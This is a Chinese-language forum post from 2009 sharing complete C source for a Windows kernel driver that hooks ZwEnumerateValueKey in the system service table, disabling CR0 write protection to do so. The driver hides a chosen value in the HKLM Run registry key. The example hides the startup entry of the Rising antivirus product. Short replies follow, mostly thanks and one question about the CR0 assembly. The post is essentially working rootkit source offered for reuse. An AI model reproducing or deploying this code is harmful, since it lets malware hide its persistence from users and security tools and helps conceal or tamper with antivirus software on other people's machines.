首页
论坛
课程
招聘
liukeblue
雪    币: 286
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:330 )
在线值:
发帖
21
回帖
65
粉丝
0

[原创]隐藏注册表的键值

2009-12-27 17:00 7874

[原创]隐藏注册表的键值

2009-12-27 17:00
7874
写了个简单的隐藏注册表键值的驱动,通过HOOK ZwEnumerateValueKey来实现,这里把代码贴出来:
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
                                        IN PVOID Object,
                                                OUT PVOID ObjectNameInfo,
                                                IN ULONG Length,
                                                OUT PULONG ReturnLength
                                                );

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
                                                IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                );

//定义要Hook的API函数原型                                                                                       
NTSTATUS MyZwEnumerateValueKey(
                                                IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                );                                                                                       
                                                                                       
                                                                                       
//声明函数指针,并且函数返回值为NTSTATUS类型                                                                               
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
                                             IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                );                                                                                       
                                                                 
                                               
REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要隐藏的键值,这里我隐藏的键值是瑞星杀毒软件的启动项,你也可以改成别的
PWSTR HideValue=L"RavTray";   

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
        unsigned int  *ServiceTableBase;
                unsigned int  *ServiceCounterTableBase;
                unsigned int  *NumberOfServices;
                unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack()       

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
       
#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]       

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);

PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}

NTSTATUS MyZwEnumerateValueKey(
                                                IN HANDLE KeyHandle,
                                                IN ULONG Index,
                                                IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
                                                OUT PVOID KeyValueInformation,
                                                IN ULONG Length,
                                                OUT PULONG ResultLength
                                                )
{
  PVOID pKey;
  UNICODE_STRING *pUniName;
  ULONG actuallen;
  UNICODE_STRING uStrValueName;
  ANSI_STRING keyname;
  NTSTATUS status;
  PWSTR ValueName;
  ULONG NameLen;

  status=((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                                         Index,
                                                         KeyValueInformationClass,
                                                         KeyValueInformation,
                                                     Length,
                                                     ResultLength);
   pKey=GetPointer(KeyHandle);  
  
   if (pKey)
   {
    pUniName=ExAllocatePool(NonPagedPool,1024*2);
        pUniName->MaximumLength=512*2;
        memset(pUniName,0,pUniName->MaximumLength);
        if(NT_SUCCESS(ObQueryNameString(pKey,pUniName,512*2,&actuallen)))
        {
     RtlUnicodeStringToAnsiString(&keyname,pUniName,TRUE);   
     
         DbgPrint("%ws\n",pUniName->Buffer);       
         keyname.Buffer=_strupr(keyname.Buffer);
         
         if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN")==0)
    {
        ValueName =((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;  
        if (ValueName!=NULL&&wcsstr(ValueName,HideValue)!=NULL)
        {
        Index++;
                ValueName=NULL;
                return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                                         Index,
                                                         KeyValueInformationClass,
                                                         KeyValueInformation,
                                                     Length,
                                                     ResultLength);
                }
        //DbgPrint("ValueName=%ws\n",ValueName);       
                                 
     }
   }
  }

return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                                         Index,
                                                         KeyValueInformationClass,
                                                         KeyValueInformation,
                                                     Length,
                                                     ResultLength);

}

NTSTATUS HookApi()
{
    RealZwEnumerateValueKey = (REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey);
_asm{
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
    }

(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey)=MyZwEnumerateValueKey;
_asm{

         mov eax,cr0
         or eax,10000h
         mov cr0,eax
}
return( STATUS_SUCCESS );
}

NTSTATUS UnHook()
{
_asm{
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
}
(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey) = RealZwEnumerateValueKey;
_asm{  
     
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
}
return STATUS_SUCCESS ;
}       

NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
NTSTATUS status;
DbgPrint("OnUnload called!\n");
status=UnHook();
return status;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                                         IN PUNICODE_STRING theRegistryPath)
{

        theDriverObject->DriverUnload=DriverUnload;
    HookApi();
        DbgPrint("Hook Called!\n");
        return STATUS_SUCCESS ;
}

下面把源代码发上来:

[看雪官方培训]《安卓高级研修班(网课)》9月班开始招生!挑战极限、工资翻倍!

上传的附件:
最新回复 (11)
菊冬
雪    币: 221
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
6
回帖
91
粉丝
0
菊冬 活跃值 2009-12-27 21:34
2
0
好厉害的原创,学习了.
shdow浅蓝
雪    币: 103
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
23
回帖
77
粉丝
0
shdow浅蓝 活跃值 2009-12-27 21:50
3
0
好多代码都是基于这个框架改出来的
huaxiang
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
5
粉丝
0
huaxiang 活跃值 2009-12-27 22:05
4
0
这不是黑客防线200912期上的文章吗??
iqye
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
13
粉丝
0
iqye 活跃值 2009-12-28 12:08
5
0
哈哈,学习下。
liukeblue
雪    币: 286
活跃值: 活跃值 (10)
能力值: ( LV12,RANK:330 )
在线值:
发帖
21
回帖
65
粉丝
0
liukeblue 活跃值 7 2009-12-29 11:32
6
0
12期的那个有问题,它隐藏RUn下所有的键值,所以我重新改了一下,
onepc
雪    币: 102
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
26
回帖
157
粉丝
0
onepc 活跃值 2009-12-29 11:49
7
0
学习。。
mark
pull
雪    币: 237
活跃值: 活跃值 (12)
能力值: ( LV4,RANK:50 )
在线值:
发帖
4
回帖
28
粉丝
0
pull 活跃值 1 2009-12-29 13:35
8
0
请教楼主
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax

   mov eax,cr0
   or eax,10000h
   mov cr0,eax

是什么意思,有什么用
cjqqcj
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
7
回帖
18
粉丝
0
cjqqcj 活跃值 2010-1-8 23:24
9
0
统统 带回家了
无忧
雪    币: 1551
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
6
回帖
108
粉丝
0
无忧 活跃值 2010-1-9 12:03
10
0
收藏待用!~
zyr零零发
雪    币: 793
活跃值: 活跃值 (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
8
回帖
331
粉丝
0
zyr零零发 活跃值 1 2010-1-9 12:59
11
0
学习学习在学习啊。。
littlewisp
雪    币: 2426
活跃值: 活跃值 (26)
能力值: ( LV10,RANK:170 )
在线值:
发帖
60
回帖
525
粉丝
1
littlewisp 活跃值 2 2010-1-9 13:10
12
0
直接把工程文件发上来吧,方便大家。
游客
登录 | 注册 方可回帖
返回